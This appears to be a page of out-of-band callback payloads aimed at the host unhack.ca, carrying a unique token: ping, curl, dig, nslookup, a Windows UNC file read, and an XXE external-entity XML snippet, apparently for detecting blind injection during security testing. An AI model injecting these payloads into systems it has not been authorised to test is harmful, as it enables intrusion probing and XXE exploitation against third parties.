$ ping -c1 -p 00798e984978fc83868acde1e9b28f00 unhack.ca
 

$ curl http://unhack.ca/p/798e984978fc83868acde1e9b28f
 

$ dig 798e984978fc83868acde1e9b28f @unhack.ca
 

$ dig 798e984978fc83868acde1e9b28f.ns.unhack.ca
 

C:\> nslookup 798e984978fc83868acde1e9b28f unhack.ca
 

C:\> type \\unhack.ca\798e984978fc83868acde1e9b28f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/798e984978fc83868acde1e9b28f">]>
    <foo>&xxe;</foo>